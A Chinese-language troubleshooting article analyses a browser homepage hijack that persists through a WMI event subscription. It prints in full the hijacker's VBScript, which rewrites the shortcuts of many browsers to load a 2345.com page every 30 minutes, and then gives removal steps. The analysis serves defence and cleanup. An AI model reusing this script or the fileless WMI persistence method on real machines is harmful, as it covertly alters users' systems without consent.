瀏覽器主頁(yè)被劫持怎么辦

　　有網(wǎng)友表示自己在下載使用了VeryCD下載鏈接查看器這款工具以后，再打開瀏覽器就被直接跳轉(zhuǎn)到 www.2345.com/?kunown 這個(gè)導(dǎo)航頁(yè)面了，而且打開多個(gè)瀏覽器：IE、Chrome、Firefox、Opera、Safari、Maxthon，均相同癥狀，檢查瀏覽器首頁(yè)設(shè)置——均正常!對(duì)于這個(gè)問題該怎么解決呢?下面學(xué)習(xí)啦小編就為大家介紹一下具體的解決方法吧，歡迎大家參考和學(xué)習(xí)。

　　最后發(fā)現(xiàn)，原來(lái)快速啟動(dòng)欄的IE瀏覽器快捷命令被其修改，修改后的類似如下圖，于是認(rèn)為就是普通的修改快捷方式，手工刪除 2345 網(wǎng)址的部分，但半小時(shí)后再次被更改了?？紤]到可能加載了啟動(dòng)項(xiàng)，在注冊(cè)表、啟動(dòng)項(xiàng)、服務(wù)等中均未查找到相關(guān)信息，重啟后IE快捷方式被重新篡改。嘗試了事件查看器和任務(wù)計(jì)劃，均未在里面查出任何信息。

　　之后又安裝了超級(jí)兔子、360、exterminateit等工具進(jìn)行檢查，也未檢出。

　　打開ProcessMonitor進(jìn)行監(jiān)視，發(fā)現(xiàn)每隔30分鐘出現(xiàn)一個(gè)scrcons.exe進(jìn)程自動(dòng)啟動(dòng)并修改快速啟動(dòng)欄的命令，然后自動(dòng)關(guān)閉(幸虧是30分鐘一次，你要是24小時(shí)一次，那我就杯具了……)，修改Win7下opera快速啟動(dòng)圖標(biāo)路徑類似如下：

　　C:\Users\iefans\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Opera12.01 1532.lnk

　　查找資料，發(fā)現(xiàn)這應(yīng)該是一個(gè)通過(guò)WMI發(fā)起的定時(shí)自動(dòng)運(yùn)行腳本。要查看WMI事件，到以下地址下載WMITool并安裝

　　http://www.microsoft.com/en-us/download/details.aspx?id=24045

　　安裝后打開WMI event viewer，點(diǎn)擊左上角register for events，彈出Connect to namespace框，填入“root\subscription”(手工復(fù)制粘貼啊，默認(rèn)出現(xiàn)的不是這個(gè))，確定，出現(xiàn)下圖：

　　點(diǎn)擊左側(cè)_EventFilter:Name="unown_filter"，再至右側(cè)右鍵點(diǎn)擊ActiveScriptEventConsume r Name="unown"，右鍵選擇view instant properties，如下圖：

　　查看ScriptText項(xiàng)可知，這是一段VBScript調(diào)用系統(tǒng)服務(wù)間隔30分鐘執(zhí)行一次，將所有瀏覽器調(diào)用加上“http://www.2345.com/?kunown”!抓住你了~!隱藏的夠深，沒常駐進(jìn)程，沒有文件(把自己存儲(chǔ)在WMI數(shù)據(jù)庫(kù)中)。

　　受到影響的瀏覽器有(各色瀏覽器，差不多齊了)：

　　"IEXPLORE.EXE", "chrome.exe", "firefox.exe", "360chrome.exe", "360SE.exe", "SogouExplorer.exe", "opera.exe", "Safari.exe", "Maxthon.exe", "TTraveler.exe", "TheWorld.exe", "baidubrowser.exe", "liebao.exe", "QQBrowser.exe"

　　具體代碼如下：

　　On Error Resume Next:Const link = "http://www.2345.com/?kunown":browsers = Array("IEXPLORE.EXE", "chrome.exe", "firefox.exe", "360chrome.exe", "360SE.exe", "SogouExplorer.exe", "opera.exe", "Safari.exe", "Maxthon.exe", "TTraveler.exe", "TheWorld.exe", "baidubrowser.exe", "liebao.exe", "QQBrowser.exe"):Set oDic = CreateObject("scripting.dictionary"):For Each browser In browsers:oDic.Add LCase(browser), browser:Next:Set fso = CreateObject("Scripting.Filesystemobject"):Set WshShell = CreateObject("Wscript.Shell"):strDesktop = "C:\Users\Gemini\Desktop":strAllUsersDesktop = WshShell.SpecialFolders("AllUsersDesktop"):QuickLaunch = "C:\Users\Gemini\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch":UserPinnedStartMenu = QuickLaunch & "\User Pinned\StartMenu":UserPinnedTaskBar = QuickLaunch & "\User Pinned\TaskBar":For Each file In fso.GetFolder(strDesktop).Files:If LCase(fso.GetExtensionName(file.Path)) = "lnk" Then:set oShellLink = WshShell.CreateShortcut(file.Path):path = oShellLink.TargetPath:name = fso.GetBaseName(path) & "." & fso.GetExtensionName(path):If oDic.Exists(LCase(name)) Then:oShellLink.Arguments = link:If file.Attributes And 1 Then:file.Attributes = file.Attributes - 1:End If:oShellLink.Save:End If:End If:Next:For Each file In fso.GetFolder(strAllUsersDesktop).Files:If LCase(fso.GetExtensionName(file.Path)) = "lnk" Then:set oShellLink = WshShell.CreateShortcut(file.Path):path = oShellLink.TargetPath:name = fso.GetBaseName(path) & "." & fso.GetExtensionName(path):If oDic.Exists(LCase(name)) Then:oShellLink.Arguments = link:If file.Attributes And 1 Then:file.Attributes = file.Attributes - 1:End If:oShellLink.Save:End If:End If:Next:If fso.FolderExists(QuickLaunch) Then:For Each file In fso.GetFolder(QuickLaunch).Files:If LCase(fso.GetExtensionName(file.Path)) = "lnk" Then:set oShellLink = WshShell.CreateShortcut(file.Path):path = oShellLink.TargetPath:name = fso.GetBaseName(path) & "." & fso.GetExtensionName(path):If oDic.Exists(LCase(name)) Then:oShellLink.Arguments = link:If file.Attributes And 1 Then:file.Attributes = file.Attributes - 1:End If:oShellLink.Save:End If:End If:Next:End If:If fso.FolderExists(UserPinnedStartMenu) Then:For Each file In fso.GetFolder(UserPinnedStartMenu).Files:If LCase(fso.GetExtensionName(file.Path)) = "lnk" Then:set oShellLink = WshShell.CreateShortcut(file.Path):path = oShellLink.TargetPath:name = fso.GetBaseName(path) & "." & fso.GetExtensionName(path):If oDic.Exists(LCase(name)) Then:oShellLink.Arguments = link:If file.Attributes And 1 Then:file.Attributes = file.Attributes - 1:End If:oShellLink.Save:End If:End If:Next:End If:If fso.FolderExists(UserPinnedTaskBar) Then:For Each file In fso.GetFolder(UserPinnedTaskBar).Files:If LCase(fso.GetExtensionName(file.Path)) = "lnk" Then:set oShellLink = WshShell.CreateShortcut(file.Path):path = oShellLink.TargetPath:name = fso.GetBaseName(path) & "." & fso.GetExtensionName(path):If oDic.Exists(LCase(name)) Then:oShellLink.Arguments = link:If file.Attributes And 1 Then:file.Attributes = file.Attributes - 1:End If:oShellLink.Save:End If:End If:Next:End If

　　最后，清除方法：在WMI event viewer中將“_EventFilter:Name="unown_filter"”項(xiàng)目右鍵刪除!

　　刪不掉?

　　到WMITool安裝路徑(例如：C:\Program Files (x86)\WMI Tools)下，右鍵點(diǎn)擊wbemeventviewer.exe，選擇以管理員身份運(yùn)行!刪之!

　　還沒完，還要手動(dòng)將快速啟動(dòng)欄中，將各個(gè)瀏覽器快捷命令中的http://www.2345.com/?kunown去掉!

　　暫時(shí)就這么多了，還有沒有其它影響的話，用用再看吧!
